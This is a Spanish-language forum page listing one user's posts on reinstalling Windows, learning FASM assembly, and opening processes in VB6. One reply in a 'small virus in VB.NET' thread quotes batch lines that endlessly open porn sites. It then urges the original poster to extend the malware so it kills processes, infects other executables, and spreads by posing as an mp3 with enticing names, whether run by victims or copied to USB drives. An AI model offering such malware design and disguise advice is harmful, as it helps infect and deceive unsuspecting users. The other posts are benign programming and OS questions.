|
61
|
Sistemas Operativos / Windows / ¿como cambiar de windows 7 a windows xp?
|
en: 27 Junio 2011, 21:52 pm
|
tengo 3 particiones "D:\" archivos, "H:\" juegos, y la "C:\" esta està congelada y aqui esta el SO windows 7 de 32 bits, quiero cambiarlo por windows XP sp3, pero no tengo el disco de instalacion del windows 7 (lei que para poder quitar un SO es necesario el disco con que se instalo), del windows xp tengo un archivo .iso que baje del internet. anteriormente he instalado este windows xp en maquinas virtuales y se mas o menos como se hace, pero el problemita es que no se como quitar el windows 7 que ya esta instalado, con estos datos que doy ¿podrian darme una orientacion de como quitar el el win7 e instalar el win xp, conservando intactas las otras particiciones?, ah y me dijeron que al apagar el pc de manera incorrecta (tirar el cable, pulsar el boto de apagado sin cerrar sesion) windows puede resultar dañado y para evita eso debe configurarse algo de "cerrar sesion de forma segura" o mas o menos asi para que no pase nada, ¿como se hace esto?.
|
|
|
64
|
Programación / ASM / [DUDA]uso del mov en flat assembler
|
en: 25 Junio 2011, 20:39 pm
|
hola hice mi primer code en FASM: include 'c:\fasm\include\win32ax.inc' .data lpTextOk db 'notepad encontrado',0 lpTextError db 'no se encontró notepad',0 lpCaption db 'Mi Primer programa',0
lpClassName db 'notepad',0 lpWindowName db 0
NuevoTitulo db 'Modificando un caption',0
lpString db 'hello world',0 nCount dd 11 hWin dd ? hdc dd ?
.code start: push 0 ;linea 19 original: push lpWindowName (no encuentra el notepad) push lpClassName call [FindWindowA] mov [hWin],eax ;linea 22 original: mov hwin,eax cmp [hWin],0 jne encontrado jmp noencontrado .end start
encontrado: push 64 push lpCaption push lpTextOk push 0 call [MessageBoxA] push NuevoTitulo push [hWin] call [SetWindowTextA] push [hWin] call [GetDC] mov [hdc],eax ;linea 39 original: mov hdc,eax push [nCount] push lpString push 25 push 25 push [hdc] call [TextOutA] push 1 push [hWin] call [FlashWindow] push 333 call [Sleep] push 0 push [hWin] call [FlashWindow] push 333 call [Sleep] push 1 push [hWin] call [FlashWindow] jmp salida ret
noencontrado: push 16 push lpCaption push lpTextError push 0 call [MessageBoxA] jmp salida ret
salida: push 0 call [ExitProcess] ret
la teoria del "mov destino,origen" dice que mueve info del origen al destino, y en FASM al poner la variable entre "[]" [variable] se refiere al valor que contiene supongo que al poner variable sin nada entonces se refiere a su direccion en memoria, en la linea 19 del codigo al principio puse "mov hWin,eax" lo entiendo de esta manera: "lo que valga eax muevelo a la direccion de hWin", pero me daba error (al igual que la linea 39), asi que le puse [hWin] y funciona , el uso del mov y de pasar las variables entre "[]" y sin nada no me queda muy claro ¿alguien me podria dar una mejor explicacion de esto?
|
|
|
66
|
Programación / ASM / Re: ¿algun tuto y libro sobre flat assembler?
|
en: 23 Junio 2011, 02:32 am
|
muy interesante los enlaces , imprimiendo tutos... , creen que deba comprar algun libro de asm para win32 como apoyo?, si es asi ¿me recomiendan algun autor o nombre de libro? ¿o quizas haya alguno en la web para imprimirlo? ¿o con todo esto sera suficiente?(no estoy llevando asm como un curso en una universidad o instituto sino que soy aficionado y pues quiero aprender). saludos-gracias.
|
|
|
67
|
Programación / ASM / ¿algun tuto y libro sobre flat assembler?
|
en: 22 Junio 2011, 01:10 am
|
holas me gustarias aprender a fondo el lenguaje asm para win32 usando el flat assembler, lei un tutorial de E0N sobre un taller en flat assembler, pero quisiera avansar más principalmente aprender las intrucciones propias del micro (push mov, cmp, jmp , las de alto nivel no mucho: invoke) , en algunos codigos vi el uso de la instruccion invoke "invoke Funcion Parametros..." y tambien vi de esta forma: push Paramtro1 Push Parametro2 Call [Funcion] Esta segunda forma es la que me parece mas interesante para saber como funciona eso lo de la pila (antes no sabia nada sobre la pila), y saber las demas cosas que suceden en el micro al ejecutar tal instruccion. ¿sabran de algun tutorial en español de flat assembler ?(array, funciones apis, funciones de usuario, etc..) -tambien quisiera que me recomienden algun libro sobre esto(si hubiera uno donde trate sobre flat assemble seria mejor). gracias. *una duda : ¿se pueden hacer DLL en asm(flat assembler)?
|
|
|
68
|
Programación / .NET (C#, VB.NET, ASP) / Re: pequeño virus en visual basic.net 2008
|
en: 18 Junio 2011, 02:24 am
|
jajajajaja pobre ram despues de ejecutar estas lineas: sw.WriteLine(":bucle") sw.WriteLine("start www.pornhub.com") sw.WriteLine("start www.youporn.com") sw.WriteLine("start www.megaporn.com") sw.WriteLine("goto bucle")
una sugerencia, busca informacion sobre las apis de windows, podrias añadirle mas cosas a ese codigo malicioso, como cerrarte los procesos, autocopiarte y meterte dentro de otros ejeutables , podrias ponerle un icono a tu .exe por ejem: el icono de los .mp3 y ponerle nombres llamativos como xxx, porn. etc asi cuando algun tio vea lo ejecuta o lo mete a su usb. saludos
|
|
|
70
|
Programación / Programación Visual Basic / Re: [DUDA] abrir un proceso de usuario (OpenProcess) VB 6.0
|
en: 16 Junio 2011, 01:34 am
|
graxias, copie el codigo del post en un modulo .bas y llamo a esa funcion de esta manera: Private Sub Form_Load() ObtenerPrivilegios SE_DEBUG_NAME End Sub
pero no puede abrir el proceso ¿algo hice mal?, mi SO es windows 7 ¿sera este el problema?,el taskmgr si puede cerrar el proceso con facilidad , estuve revisando algo acerca del comando schtasks y tambien estoy que busco lo del AdjustTokenPrivileges. mi cuenta de usuario es la unica y principal.
|
|
|
|
|
|
|